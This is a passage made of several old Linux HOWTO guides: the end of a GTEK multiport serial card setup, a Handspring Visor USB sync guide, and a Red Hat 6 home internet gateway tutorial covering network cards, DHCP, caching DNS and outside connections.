I have setup the BBS-550 to use I/O address from 0x100 to 0x140 on my Linux box (Slackware 2.3, kernel 1.3.93). The main reason being that the above address space was vacant in my computer. Page 4 of the manual gives the jumper settings. Also this range of I/O addresses is seldom used by any other hardware. Just to make sure that this space is available on your machine, use the IOMAP.EXE utility which is on the GTEK floppy disk.

2. After you have installed the card on your computer you need to configure the serial ports. This is quite easy since the rc.serial file already has entries for BOCA 8 port card which can be used for the GTEK. Here is my rc.serial file. Don't forget to execute it from the rc.S file by uncommenting the line that executes it.

--

#!/bin/sh
# /etc/rc.serial
# Initializes the serial ports on your system
# Version 2.01
cd /dev
SETSERIAL="/bin/setserial -a"
PORTS=`echo cua? cua??`
echo -n "Configuring serial ports...."
# Do wild interrupt detection
#
#${SETSERIAL} -W ${PORTS}
# Do AUTOMATIC_IRQ probing
#
#AUTO_IRQ=auto_irq
${SETSERIAL} /dev/cua16 uart 16550A port 0x100 irq 5
${SETSERIAL} /dev/cua17 uart 16550A port 0x108 irq 5
${SETSERIAL} /dev/cua18 uart 16550A port 0x110 irq 5
${SETSERIAL} /dev/cua19 uart 16550A port 0x118 irq 5
${SETSERIAL} /dev/cua20 uart 16550A port 0x120 irq 5
#${SETSERIAL} /dev/cua21 uart 16550A port 0x128 irq 5
#${SETSERIAL} /dev/cua22 uart 16550A port 0x130 irq 5
#${SETSERIAL} /dev/cua23 uart 16550A port 0x138 irq 5
echo "done."
${SETSERIAL} -bg ${PORTS}

--

Notice that i have used IRQ 5. Refer to page 6 of the GTEK manual on howto set the IRQ.

3. I am using uugetty for dial-in's. Here is an extract from my /etc/inittab file (sys V).

s1:45:respawn:/sbin/uugetty ttyS16 38400 vt100
s2:45:respawn:/sbin/uugetty ttyS17 38400 vt100
s3:45:respawn:/sbin/uugetty ttyS18 38400 vt100
s4:45:respawn:/sbin/uugetty ttyS19 38400 vt100
s5:45:respawn:/sbin/uugetty ttyS20 57600 vt100
#s6:45:respawn:/sbin/uugetty ttyS21 38400 vt100
#s7:45:respawn:/sbin/uugetty ttyS22 38400 vt100
#s8:45:respawn:/sbin/uugetty ttyS23 38400 vt100

Make sure that you have the corresponding entries in the /etc/gettydefs file. Also don't forget to make new uugetty configuration files in the /etc/default directory.

4. At boot up the kernel will not report the new tty's.

The serial ports are configured when the rc.serial script is run. You can see that on the screen during boot up.

ps ax should show the uugetty connected. Here is part of my ps output.

18208 ? S 0:00 /sbin/uugetty ttyS18 38400 vt100
18247 ? S 0:00 /sbin/uugetty ttyS20 57600 vt100
18254 ? S 0:00 /sbin/uugetty ttyS19 38400 vt100
18258 ? S 0:00 /sbin/uugetty ttyS17 38400 vt100
18260 ? S 0:00 /sbin/uugetty ttyS16 38400 vt100

Finally test the board by dialing out (using cuaXX) and then dialing in (ttySXX).

Good Luck!


Handspring-Visor mini-HOWTO

Ryan VanderBijl

v0.4, Aug 7, 2000

Using the Visor with Linux and your USB port

1. Introduction

  • 1.1 About this Document
  • 1.2 Disclaimer
  • 1.3 History
  • 1.4 What is missing from this document?
  • 1.5 Copyright

2. Installing Stuff

  • 2.1 Requirements
  • 2.2 Kernel Stuff
  • 2.3 Installing ColdSync
  • 2.4 Almost Done! (aka testing)

3. Links/References


Handspring-Visor mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 About this Document

This document was first created by Ryan VanderBijl, April 6, 2:00am. It has been edited by Miles Lott, and I have recieved hints from others.

I recieved my Handvisor today, and have struggled getting it to work, and found no good HOWTO yet, so thought i'd make one. By some random mutation, you might be able to find a new version on my web page, but that is up to chance. Test your luck at:

http://www.calvin.edu/~rvbijl39/

or

http://usbvisor.sourceforge.net

I used the vi editor. Anything else would have been evil. No spell check has yet been run on this document. So, if you have a problem with my spellling, tuff luck.

1.2 Disclaimer

Hmm... what did I claim? Oh well. I am really a newbie at this usb/visor stuff, so i really couldn't answer to many of your questions. There are people who could help you much better, who maintain the sites I refer to at the end of the document. However, feel free to send me questions, or updates to this document. My email address is: rvbijl39@calvin.edu

1.3 History

  • v0.1 - initial release
  • v0.2 - HTML-ized version
  • v0.3 - SGML-ized, Added modifications by Miles Lott
  • v0.4 - clarifications, updates, suggested by Matt Shook, Steven Coffman, Miles Lott, and info from Greg KH.

1.4 What is missing from this document?

I actually "lost" my machine with USB capabilities, so I am no longer able to test the USB stuff out. It would be very nice if people could send in documentation on how to get PPP connections working. (Or any other related cool thing working).

1.5 Copyright

This document is Copyright 2000, by Ryan VanderBijl. You may distribute freely under the terms of the GPL ( http://www.gnu.org/copyleft/gpl.html).


Handspring-Visor mini-HOWTO: Installing Stuff

 Next Previous Contents

2. Installing Stuff

2.1 Requirements

Some obvious things are required, such as a computer, USB ports, hand visor (and USB cradle), Linux, etc. You also should know how to compile and install stuff, like the kernel. If you do not, perhaps the kernel-HOWTO will be helpful: http://www.linuxdoc.org/HOWTO/Kernel-HOWTO.html.

2.2 Kernel Stuff

First, you will need to get a kernel which supports USB. You can either get the "latest" development kernel, which is version 2.4.0-test5 (as of this writing, Aug 7, 2000). You may get the latest version from ftp://ftp.kernel.org/pub/linux/kernel/v2.4/. Otherwise you need to get the latest stable kernel version, and the latest backport of the USB code. The latest (as of Aug 7, 2000) stable kernel is 2.2.16, and can be gotten from ftp://ftp.kernel.org/pub/linux/kernel/v2.2/. The latest backport can be gotten from the linux-usb project, and is found here: http://www.suse.cz/development/usb-backport/ The current version (Aug 7, 2000) is: usb-2.4.0-test2-pre2-for-2.2.16-v3. There may be patches to the backport available. You should be able to find them at http://sourceforge.net/patch/?group_id=1404. Download and install the source, including the usb back port if you are using version 2.2. Below shows an example of installing the the 2.2 source code, and the backport.

cd /usr/src
tar xzvf linux-2.2.14.tar.gz
cd linux
gzip -dc ../usb-2.3.50-1-for-2.2.14.diff.gz | patch -p1
make distclean

Next, a critical step, is determining which type of USB host controller you have. The USB host controller is the hardware in your computer which handles USB input/output. Intel chipset motherboards, i.e. the BX chipset, are typically UHCI controllers. Most addon cards are OHCI controllers. You can determine the type of USB hardware available by using: 'lspci -v'. (See the Links/References if you do not have lspci). If you see something like:

    USB Controller: ......
    Flags: .....
    I/O ports at ....

Then you have a UHCI based controller. If you see something like:

     USB Controller: .....
     Flags: ....
     Memory at .....

Then you have a OHCI based controller. (Documentation to figure out type type of controller was leached from the kernel documentation, Documentation/usb/scanner.txt). You could refer to http://www.linux-usb.org for further details. The kernel documentation in the directory (Documentation/usb/usb.txt) may also be helpful in determining which type of controller you have.

If you dont have a USB controller you need either buy the serial cradle for the Visor (what are you doing reading this?), or buy a USB-capable device (ie. add-on card or motherboard).

Now we need to configure, and make your kernel. During configuration, make sure you enable:

  • USB support (CONFIG_USB),
  • the appropriate controller - UHCI, alternate UHCI, or OHCI (CONFIG_USB_UHCI, CONFIG_USB_UHCI_ALT, or CONFIG_USB_OHCI)
  • USB Serial Converter support (CONFIG_USB_SERIAL)
  • USB Handspring Visor Driver (CONFIG_USB_SERIAL_VISOR) (serial converter's sub-option)

(I'm not sure what the difference between UHCI drivers are, nor which one is recommended for use. Anyone?) I have compiled these into the kernel, and as modules. Both work. The developer(s) prefer the module method, but that is up to you.

After you did that, finish installing your kernel, and reboot.

Not done yet! To make the Visor driver work, we need to finish making the USB Serial driver to work. For that, you can refer to the Linux Kernel Documentation: Documentation/usb/usb-serial.txt. Basically, what it tells you to do is to make the devices. You can do this by excuting the commands, as root:

mknod /dev/ttyUSB0 c 188 0
mknod /dev/ttyUSB1 c 188 1
etc...
chmod 666 /dev/ttyUSB*

Right now the code is limited to 16 connections/ports/devices, so only 0 to 15 need to be done. The chmod is to allow users to be able to access the Visor device. It is the opinion of the author of this document that this should be save for a personal computer. Multiuser computers may want to look into this.

When a Visor connects, there are two "ports" opened. (For most people, this will be /dev/ttyUSB0, and /dev/ttyUSB1 or similar). The first port (zero), is a generic connection. The second port is the hotsync port. This feautre allows for future developments, like, for example, to export a filesystem from the Visor. A usefull thing to do is to create a link to the hotsync port so that synchronization software will use the approriate device be default. You can do this by:

cd /dev
ln -s /dev/ttyUSB1 pilot

Just for fun, you might also want to create a link from /dev/visor to /dev/ttyUSB1, just, well, because we have a visor, not a pilot (or Palm(tm)). The actual device number may change, depending on how many (active?) USB-serial devices you have on your system. A message containg the device actually used is displayed when the craddle hotsync button is pressed.

For people who compiled the USB code in as modules, you will also need to insert the modules into the running kernel. As root, run:

/sbin/modprobe usb-uhci
/sbin/modprobe usb-ohci
/sbin/modprobe usb-serial

2.3 Installing ColdSync

ColdSync is a software package which contains programs to talk with you're Visor (or your Palm(tm), if you have one of those). Another relatively popular package to do this is pilot-link. However, there seems to be some bugs in how pilot-link works, especially with the USB drivers. Thus ColdSync is the recommended package. UHCI-based systems seem to be working completely fine with coldsync, while OHCI-based systems still seem to have some problems. (Both are worse using pilot-link). For details, look at the visorusb devel list: http://www.geocrawler.com/lists/3/SourceForge/1169/.

As of this writing (aug 7, 2000), the latest stable version of ColdSync is 1.2.5. The latest version (as far as I know) of pilot-link, is 0.9.3. The one advantage of pilot-link is that there are more graphical interfaces which use the pilot-link libraries than coldsync.

The programs can be found here:

  • http://www.ooblick.com/software/coldsync/
  • ftp://ryeham.ee.ryerson.ca/pub/PalmOS/pilot-link.0.9.3.tar.gz or perhaps: http://pilot-link.sourceforge.net/

Download and install the program you wish to use. (coldsync has some INSTALL notes, which you should read.)

cd /usr/src
gzip -dc coldsync-1.2.5.tar.gz | tar xvf -
cd coldsync-1.2.5
./configure
make
make install

If you choose to be lazy, there are probably redhat and debian packages which you may download and install. I dont support those.

2.4 Almost Done! (aka testing)

We are pretty much done. Now we need to test it. Of course, the visor needs to be in the cradle, and the cradle needs to be plugged into your USB port.

To test, we can use the coldsync. For the computer to realize that the visor really is there, you need to hit the hotsync button on the cradle. (When a USB device connects, I've noticed that a bunch of info is dumped to the screen. Update: this is when debugging is enabled). Eventually, the visor driver will make an entry into the /proc/drivers/visor, which will list the minor number and purpose. More on that later. Then you can run coldsync:

coldsync -p /dev/visor

(Remember, /dev/visor is a symbolic link to /dev/ttyUSB1). From here, use other documentation. Manpages are useful.


Handspring-Visor mini-HOWTO: Links/References

 Next Previous Contents

3. Links/References

For this document, I used:

  • ColdSync: http://www.ooblick.com/software/coldsync/
  • PalmOS HOWTO: http://www.orbits.com/Palm/
  • Pilot-link: ftp://ryeham.ee.ryerson.ca/pub/PalmOS
  • Pilot-link: http://pilot-link.sourceforget.net
  • Linux Kernel: ftp.kernel.org/pub/linux/kernel/
  • Kernel USB backport: http://www.linux-usb.org
  • USB Visor page: http://usbvisor.sourceforge.net
  • lspci tool: http://atrey.karlin.mff.cuni.cz/~mj/pciutils.html


Red Hat Linux 6.X as an Internet Gateway for a Home Network

Paul Ramsey <pramsey@refractions.net>

June 22, 2000

A simple tutorial on configuring Red Hat 6 and related variants to operate as an internet gateway to a small home or office network. Topics covered include masquerading, DNS, DHCP, and basic security.

1. Introduction

  • 1.1 Versions
  • 1.2 Copyright

2. Plugging Things In

  • 2.1 With a Hub
  • 2.2 Without a Hub
  • 2.3 With Only One Network Card

3. Configuring Networking

  • 3.1 Configuring a Network Driver
  • 3.2 Configuring the Inside Network
  • 3.3 Configuring the Outside Network
  • 3.4 Security

4. Configuring Masquerading

5. Problems

  • 5.1 ICQ Does Not Work
  • 5.2 I Have Caldera 2.X Not Red Hat 6.X
  • 5.3 I Want One of My Internal Machines to be my Web Server


Red Hat Linux 6.X as an Internet Gateway for a Home Network: Introduction

 Next Previous Contents

1. Introduction

This page contains a simple cookbook for setting up Red Hat 6.X as an internet gateway for a home network or small office network. The instructions are very simplified: no special cases will be discussed, and some assumptions will be made about which network addresses are to be used. The most important assumptions are:

  • You have a fulltime Cable or ADSL connection to the Internet.
  • You can successfully install Red Hat 6.X on at least one of your computers. Note that these directions are also valid for Red Hat derivatives, such as Mandrake 6.X which is distributed by MacMillan Publishing under a variety of labels.
  • Your Linux computer has two network cards installed in it and both are compatible with Linux.
  • You have an ethernet hub if you are networking more than one computer or a cross-over cable if you are only networking one computer.
  • You know how to edit text files on your Linux machine.
  • You can log into your machine as root. You know how to install RPM packages from your Linux CDROM.

If you do not meet any of these assumptions, then this document probably isn't for you.

There is nothing special that you have to do during the installation process. Simply choose an installation which makes sense for you and go for it. This document gives directions on installing everything to do with networking from scratch, to avoid making any assumptions about what was installed or configured during installation. To ensure that things work and there is no confusion about what information goes where, all the configuration will be done by directly editing the system configuration files rather than using the GUI configuration tools provided with Red Hat. On the one hand, this might be a little harder than it has to be; on the other hand, your knowledge will be a good deal more transferable to different distributions and situations (like, what if X doesn't work, or you are setting up a headless server).

1.1 Versions

The latest version of this document should always be available at http://www.coastnet.com/~pramsey/linux/homenet.html for the HTML version and http://www.coastnet.com/~pramsey/linux/homenet.sgml for the SGML version.

  • December 21, 1999 : First version.
  • January 2, 2000 : Incorporated suggestions from John Mellor on outside networking quirks.
  • January 22, 2000 : Minor update about identical network cards and info on IP aliasing from Chris Lea.
  • March 16, 2000 : Some information on name server security and on supporting Caldera from Nelson Gibbs.
  • June 22, 1000 : Red Hat 6.2 configuration quirk documented. More PPPoE info from Kerr First.

1.2 Copyright

Copyright © 2000, Paul Ramsey.

This manual may be reproduced in whole or in part, without fee, subject to the following restrictions:

  • The copyright notice above and this permission notice must be preserved complete on all complete or partial copies.
  • Any translation or derived work must be approved by the author in writing before distribution.
  • If you distribute this work in part, instructions for obtaining the complete version of this manual must be included, and a means for obtaining a complete version provided.
  • Small portions may be reproduced as illustrations for reviews or quotes in other works without this permission notice if proper citation is given.

Exceptions to these rules may be granted for academic purposes: Write to the author and ask. These restrictions are here to protect us as authors, not to restrict you as learners and educators.


Red Hat Linux 6.X as an Internet Gateway for a Home Network: Plugging Things In

 Next Previous Contents

2. Plugging Things In

Depending on whether you are using a hub or not, your network topology will differ slightly. I am only covering networking with RJ45 cabling (the stuff that looks like phone cables on steroids) and not covering thin coax. With thin coax you can network multiple machines without requiring a hub, but have to be more careful about terminating connections and so on. If you know networking already, these instructions will be largely redundant.

2.1 With a Hub

If you have a hub, your network will look like this.

Connect the eth0 card on the Linux box to the cable modem or ADSL box using the cable supplied by the service provider during their install (or one you know works in that configuration. This is important because sometimes cable modems like to be connected with a crossover and sometimes they like a straight-through through cable: the one the company gives you is the one you want to use.

Connect the eth1 card on the Linux box to the hub with a straight-through cable. Connect all your other computers to the hub with straight-through cables.

2.2 Without a Hub

If you do not have a hub, you can still connect one computer to your Linux box, using a crossover cable. Your topology will look like this.

Connect the eth0 card on the Linux box to the cable modem or ADSL box using the cable supplied by the service provider. Connect the eth1 card on the Linux box to the other computer with a crossover cable.

2.3 With Only One Network Card

This is not a recommended configuration (in this configuration your internal and external networks are on the same physical network, and are therefor theoretically more susceptible to cracking; in reality, the risk is probably very low), but it can be done. Your mileage may vary.

The Linux kernel includes support for "IP aliasing", which allows an ethernet card to service two different IP addresses simultaneously. The stock kernels shipped with Red Hat and Mandrake include support for IP aliasing by default. To set up your gateway with only one ethernet card, in all the subsequent code examples, simply replace eth1 with eth0:0.

In a single-card situation, running a DHCP server is not recommended.

Plug all your machines and your cable modem or ADSL box into the hub. Cross your fingers and continue.


Red Hat Linux 6.X as an Internet Gateway for a Home Network: Configuring Networking

 Next Previous Contents

3. Configuring Networking

OK, by now you have installed Linux on your gateway computer. You may have even configured one of your networking cards, and set up connectivity to the Internet. However, we are going to start from scratch and pretend that nothing is configured at all.

Log in as root. All the instructions given in this document assume you are logged in as root.

The Linux kernel refers to your two ethernet cards as eth0 and eth1, so that is how I'll be referring to them from now on too. The trouble is, which one is which? Here's a "simple" way of figuring out, guaranteed to work at least 50% of the time: lay your computer on the desk with the motherboard horizontal and the back panel facing you (as you would if you were going to open it and do some work on it). The leftmost card is eth0 -- you might want to label it with some masking tape. Now, write down on a piece of paper the make and model of both eth0 and eth1.

OK, let's see if eth0 and eth1 are recognized automatically by the kernel. Type ifconfig eth0 and ifconfig eth1. In both cases, if the kernel is recognizing your card, you should see something like this (bearing in mind that the numbers and whatnot will be different):

eth0   Link encap: Ethernet   HWaddr 00:60:67:4A:02:0A
       inet addr:0.0.0.0  Bcast:0.0.0.0  Mask:255.255.255.255
       UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
       RX packets:466 errors:0 dropped:0 overruns:0 frame:0
       TX packets:448 errors:0 dropped:0 overruns:0 carrier:0
       collisions:85 txqueuelen:100
       Interrupt:10 Base address:0xe400

If the kernel is not recognizing your network card you will see something like this:

eth0: error fetching interface information: Device not found.

3.1 Configuring a Network Driver

If both of your cards were found, skip to the next section. Otherwise, read this section.

OK, so one or both of your cards are not recognized by the kernel. This is not a problem, really. What we're going to have to do is tell the kernel more explicitly how to find your cards. There are lots of twists and turns here, and I'm not going to cover all of them. Remember, when the going gets tough, the tough turn to the Ethernet HOWTO. Here's some summary advice:

  • You have a PCI network card. You are probably sitting pretty, assuming it is not so new and cutting edge that no drivers exist. You can often find out a great deal about your network cards (and other things) by reading through /proc/pci and noting down makes and models.
  • You have an ISA network card. It is possible you will have to know the IO base address and the IRQ the card is operating on. You have manuals, right? Right? If not, this would be a good time to surf to the manufacturer's web site and see if they have any online references. Or if you have an old DOS configuration diskette, boot to DOS and see if there is a setup program which will read and set the address and IRQ.
  • You have an ISA Plug'n'Play card. You'll have to learn how to configure it first -- read the Plug'n'Play HOWTO. Fortunately, oncee you've configured your card you will know exactly what the IO base and IRQ are.

Now, since you know what the make and model of eth0 and eth1 are you can go to the compatibility page of the Ethernet HOWTO and look up your card. Take note of the recommended driver, and any information about special options your card may require. Write it down.

It's time to edit a configuration file! The file we will be editing is /etc/conf.modules. Open this file up in the text editor of your choice. Because there are so many possibilities and combinations of things which can go in this file, I'm going to give my own gateway as an example. I have a PCI 10/100Mb card based on the VIA Rhine chip, and a plain-jane 10Mb NE2000 ISA clone. I use the 100Mb card for the internal network and the 10Mb card for the external connection. My /etc/conf.modules file looks like this:

alias parport_lowlevel parport_pc
alias eth0 ne
options ne io=0x300 irq=10
alias eth1 via-rhine

My conf.modules file is laid out as follows:

  • The first line is there to configure my parallel port for printing. You probably have a similar line. Leave it alone.
  • The second line (alias eth0 ne) tells the kernel to use the ne driver for the eth0 device.
  • The third line (options ne io=0x300 irq=10) tells the ne driver at which io address and irq interrupt it will find the ISA card at. If you have ISA cards you will probably have to use this kind of directive, just replace the driver, io and irq directives with the correct information for your card.
  • The fourth line (alias eth1 via-rhine) tells the kernel to use the via-rhine driver for eth1. Because my eth1 card is a PCI card, I do not need to provide io or irq information: the PCI subsystem configures the device automatically.

You will want to ensure that you have alias entries in conf.modules for both your cards, and correct options lines for all your ISA cards. You may already have lines in conf.modules for any ethernet cards you configured during installation.

When you have finished editing conf.modules, try ifconfig eth0 and ifconfig eth1 again. You may have to apply some trial and error if you are messing with IO addresses and IRQs without a manufacturers manual.

Two Identical Network Cards

So, you were really really smart, bought two identical network cards for your Linux gateway, and now you cannot get them to work together? Do not worry, getting them to coexist is just a matter of using the correct syntax in /etc/conf.modules. For this example, the addresses and IRQ numbers are made up, and I will assume that you have bought a matched pair of NE2000 clones (a common choice). Your /etc/conf.modules file should look like this:

alias eth0 ne
alias eth1 ne
options ne io=0x330,0x360 irq=7,9

The addressing options are all given on the same line, and the first number for each addressing type is for eth0, the second number for eth1.

3.2 Configuring the Inside Network

The "inside network" is the network which all your home/office machines will talk on. The "outside network" is the big scary internet on the other side of the Linux box. By and large, the inside network will be completely insulated from the outside network by the Linux box, which will operate as a medium strength firewall.

The Network Device

Now that your drivers are working and you can see both eth0 and eth1 in ifconfig it is time to set up the internal home network. I am assuming that you are going to put your internal network on eth1 and your external device on eth0.

Your internal network is going to be a private network and will therefor be on a special network reserved for internal networking: 192.168.1.0. This is a "private Class C network", in case you want to impress your friends.

First we need to make sure networking is turned on. Edit the file /etc/sysconfig/network and make sure the following lines exist:

NETWORKING=yes
FORWARD_IPV4=yes

The first line tells Linux that we want the network devices brought up at boot time. The second line tells Linux to enable IP forwarding. This is required when we start configuring masquerading in Section 4.

Redhat 6.2 Note: In order to properly support IP forwarding and masquerading, Red Hat 6.2 requires changes to the /etc/sysctl.conf file. Make sure the following lines exist and are set to the correct values:

net.ipv4.ip_forward = 1
net.ipv4.ip_always_defrag = 1

All the network interface settings for Red Hat and Red Hat derivatives are contained in files in the /etc/sysconfig/network-scripts directory. Enter that directory, and create a new file ifcfg-eth1. Put the following into the ifcfg-eth1 file:

DEVICE=eth1
IPADDR=192.168.1.1
ONBOOT=yes

This code tells the networking scripts to configure eth1 at boot time and to give it a particular IP address. Activate your network with the new settings with the following command: /etc/rc.d/init.d/network restart

The DHCP Server

A DHCP server will automatically configure devices on your internal home network with IP addresses. This is very useful for people with laptops: they can simply plug their machines in and be immediately properly configured. If you do not want a DHCP server on your internal network, just skip to the next section.

First you need to be sure you have the DHCP server installed. Mount your Linux CD and install the dhcp RPM. Now edit the /etc/dhcpd.conf file and put the following (and only the following) in it:

subnet 192.168.1.0 netmask 255.255.255.0 {
  range 192.168.1.2 192.168.1.60;
  default-lease-time 86400;
  max-lease-time 86400;
  option routers 192.168.1.1;
  option ip-forwarding off;
  option broadcast-address 192.168.1.255;
  option subnet-mask 255.255.255.0;
}

If you are going to set up your Linux box as a caching domain name server, insert the following option:

option domain-name-servers 192.168.1.1;

If you know your outside DNS addresses and you are not going to use the Linux box for DNS, insert the following option, where x.x.x.x and y.y.y.y are IP numbers of the DNS servers:

option domain-name-servers x.x.x.x, y.y.y.y;

If you are going to run Samba file sharing on the Linux box for your Windows computers, add the following options to use the Linux box as the default WINS and browsing server:

option netbios-name-servers 192.168.1.1;
option netbios-dd-server 192.168.1.1;
option netbios-node-type 8;
option netbios-scope "";

Configuring Samba and WINS is well beyond the scope of this document. If you need some pointers, start with the SMB HOWTO and go on from there.

There are still a few more steps. Next, edit the /etc/rc.d/init.d/dhcpd file and look for the following line:

/sbin/route add -host 255.255.255.255 dev eth1

Windows DHCP clients require a particular broadcast address in DHCP responses, and this command forces the Linux TCP/IP stack to produce it. If you cannot find that line in the file, add it. If you do find a line like that one, make sure that the device it references is eth1.

The next step is to alter the /etc/rc.d/init.d/dhcpd file to use eth1 as the default device. Replace the line:

daemon /usr/sbin/dhcpd

With:

daemon /usr/sbin/dhcpd eth1

OK, now we are ready to start up DHCP. First start the DHCP server with the command: /etc/rc.d/init.d/dhcpd start.

Finally, we have to make sure that the DHCP server will start at re-boot time. Some RPM packages of the DHCP server do not include directives to ensure the server starts every time, so we'll make sure it gets started by invoking the command chkconfig dhcpd on.

This command causes RedHat to add the dhcp startup script to the various runlevel directories under /etc/rc.d. In runlevels 3 and 5 (multiuser console and multiuser X) the DHCP server is started. In runlevels 0, 1 and 6 (shutdown, single user and reboot) the DHCP server is stopped.

The Client Computers

If you have set DHCP up, configuring your client computers is very easy: just enable DHCP configuration. For Windows computers, this involves opening the "Control Panel" and then the "Networking" option. Find the "TCP/IP" protocol and opt to "Configure" it. Check the box that says to "Configure TCP/IP address automatically", apply your changes, and reboot.

Before you reboot, you might want to type the following command: tail -f /var/log/messages. This will watch the Linux system log continuously. If all goes well, when you reboot your Windows computer, you will see it request an IP address and see the DHCP server respond. Control-C exits the tail -f command.

If you have not set up DHCP, configuration is still fairly easy. Again, open the "Networking" option from the "Control Panel", and choose to configure the TCP/IP protocol. You can assign your client computers any address in the 192.168.1.0 network except 192.168.1.0 (the network address), 192.168.1.255 (the broadcast address) or 192.168.1.1 (your Linux server). Never give two computers the same IP address. Set the "Gateway" address to 192.168.1.1, so that outgoing traffic is routed through your Linux gateway.

The IP Masquerading HOWTO has very detailed information on client configuration in the Configuration Section.

In general, to configure a client computer, either enable DHCP configuration, or manually assign it an address in the 192.168.1.X network with a gateway of 192.168.1.1. Let the DNS server be either 192.168.1.1 if you are running a caching DNS server (see below) or point the DNS at the addresses assigned by your network provider.

The DNS Server

Setting up your Linux box as a caching DNS server will (slightly) improve your netsurfing speed, because commonly used DNS addresses will get cached inside your network and not have to be retrieved from the outside.

If you are interesting in doing full blown DNS, there is a great deal of complexity to be learned. There is a DNS HOWTO available, and the book DNS and BIND is a good (and very comprehensive) paper reference.

In order for your client machines to take advantage of the caching server, they must be configured to use the Linux gateway as their primary DNS server. The DHCP directives given in section 3.2.2 are one way to accomplish this. If you are configuring your client computers by hand, you can change the DNS configurations in the same control tabs you used to set the IP address of the machine.

To install the DNS server, first install the bind RPM, then install the caching-nameserver RPM. At this point, you are almost ready.

As installed, the caching server will work fine, but if you know the IP addresses of the internet providers DNS servers you can improve performance slightly by editing the /etc/named.conf file and adding the following line after the directory line (where x.x.x.x and y.y.y.y are the primary and secondary DNS servers):

forwarders { x.x.x.x; y.y.y.y; };

This change makes your DNS server first query the ISPs DNS servers before traversing the internet in search of a given address. The ISPs servers often have a rich cache of DNS information and can provide a much faster answer than your server could.

The named daemon has had some security problems over the past 12 months, so it is very important that you have the latest version running, and make some changes to the default settings to enhance security.

  1. Check your version of bind and make sure it is at least 8.2.2. Go to the Red Hat Updates or Mandrake Updates sites to check for the latest version.
  2. Restrict access to your name server to just the local network by adding the line allow-query { 192.168.1/24; 127.0.0.1/32; }; to the /etc/named.conf file after the forwarders line.
  3. Avoid running your name server as root. If your server is running as root, an exploit of the server will grant the exploiter root privledges. If you run the server as a powerless user, like nobody, you can lower the risk of a name server exploit. To run your name server as nobody, edit the /etc/rc.d/init.d/named file and change the line daemon named to daemon named -u nobody -g nobody.

Make sure your DNS server will start at boot time: chkconfig named on. Again, this ensures that the server will start in the usual runlevels (3 and 5) at boot time.

OK, now you can start your DNS server: /etc/rc.d/init.d/named start

Testing the Inside Network

Until we configure the outside network, the DNS service will not work (since it has to communicate with other DNS servers on the internet), but we can test out the basic internal connectivity with the ping program.

On one of your client computers, open up a terminal (MSDOS) window, and type ping 192.168.1.1. This will send out packets to your Linux computer at regular intervals, and your Linux computer will reflect the packets back. If things are working right, you should see a set of packet return times.

3.3 Configuring the Outside Network

Now we're ready to configure the outside network. Sometimes this will be difficult, depending on how well your internet provider supports Linux. If you have difficulty, there is an ADSL mini-HOWTO which covers ADSL issues in some detail. If I can find a Cable Modem HOWTO, I will link to it also.

The main problem with most outside connections is getting an IP address. Some internet providers hand out static IP addresses to cable or ADSL subscribers, and in that case configuration is easy. However, most providers have now moved to dynamic configuration via (you guessed it) DHCP. This means that your Linux computer will likely be a DHCP server on your eth1 interface, and a DHCP client on your eth0 interface.

Additionally, many providers have taken to providing their services in specialized non-standard ways which assume their customers will be using Windows. Some of those cases will be discussed at the end of section 3.3.2.

With a Static IP

If your internet provider has assigned you a static IP address, you are sitting pretty. First, create a new interface configuration file, /etc/sysconfig/network-scripts/ifcfg-eth0 and put the following in it:

DEVICE=eth0
IPADDR=x.x.x.x
NETMASK=y.y.y.y
ONBOOT=yes

Just fill in x.x.x.x and y.y.y.y with the values given by your internet provider. Now edit the /etc/resolv.conf file and enter the following information:

search provider_domain_here
nameserver n.n.n.n
nameserver m.m.m.m

The provider_domain should be supplied by your internet provider. Also enter the primary and secondary DNS servers in the n.n.n.n and m.m.m.m lines. If you have set up the Linux box as a DNS server, you can add a line before the other nameserver entries: nameserver 127.0.0.1. This will make your Linux server use the caching server before asking the outside servers for DNS information.

With DHCP

If your internet provider uses DHCP configuration, you need to create a new interface configuration file, /etc/sysconfig/network-scripts/ifcfg-eth0and put the following in it:

DEVICE=eth0
BOOTPROTO=dhcp
ONBOOT=yes

Now make sure that the dhcpcd client daemon is installed on your system. Go to your Linux CD and install the dhcpcd RPM package.

It's time to test your new network configuration. Just use the command /etc/rc.d/init.d/network restart. Now test your outside connection with ping. Ping a computer on the internet, like www.yahoo.com and see if anything comes back.

Quirks and Anomalies

Your situation may differ from the very simple situations described above. Here are some short remarks on the various difficulties and links to more authoritative resources and addressing them. Thanks to John Mellor for supplying the links and impetus for adding this section.

PPP Over Ethernet (PPPoE)

Several ADSL providers (Bell Atlantic, for example) are now insisting that their new customers connect to the service using the "PPP over Ethernet" protocol (PPPoE). To this end, they provide a Windows client program: not very useful for Linux users. Fortunately, PPPoE is a simple protocol and several efforts are underway to support it under Linux.

  • The Roaring Penguin PPPoE Client comes highly recommended by reader Kerr First.
  • PPPoE on Linux for Bell Sympatico
  • PPPoE on Linux for Sympatico ( General Info) ( Linux Info)

Stupid DHCP Tricks

One of the favorite tricks network providers play is to tie your service to a unique hostname, or even a unique network interface card. This is presumably to keep you from plugging multiple computers into your ethernet port using a hub (of course, by using Linux and Masquerading you're getting the same effect with better security and the cable company has no way of knowing!).

If the provider has given you a hostname and insisted that you set your Windows box with that name in order you use their service, then you'll have to make sure that your Linux box sends in that hostname when requesting an address from the DHCP server.

The Red Hat DHCP client is called when you set the BOOTPROTO to dhcp in the interface configuration file, but it is called without reference to a hostname. To call the program with a hostname, in Red Hat 6.1, edit the /etc/sysconfig/network file, and change the line:

HOSTNAME=

To read this:

HOSTNAME=your_isp_assigned_name

This may not work in some of the Red Hat variants. If it does not work, check the /sbin/ifup script and see if the call to dhcpcd and pump include a -h $HOSTNAME switch. If they do not, add them, so the calls look like /sbin/dhcpcd -i $DEVICE -h $HOSTNAME and /sbin/pump -i $DEVICE -h $HOSTNAME.

Road Runner

The Road Runner cable service has a special login process which must be run before the server can be used. Fortunately, a detailed Linux Road Runner HOWTO is available.

Looking at the Network Entries

Now you can admire your work. Type ifconfig to see all your configured devices. On my gateway computer, it looks like this:

eth0  Link encap:Ethernet  HWaddr 00:60:67:4A:02:0A
      inet addr:24.65.182.43  Bcast:24.65.182.255  Mask:255.255.255.0
      UP BROADCAST RUNNING MULTICAST  MTU:1500 Metric:1
      RX packets:487167 errors:0 dropped:0 overruns:0 frame:0
      TX packets:467064 errors:0 dropped:0 overruns:0 carrier:0
      collisions:89 txqueuelen:100
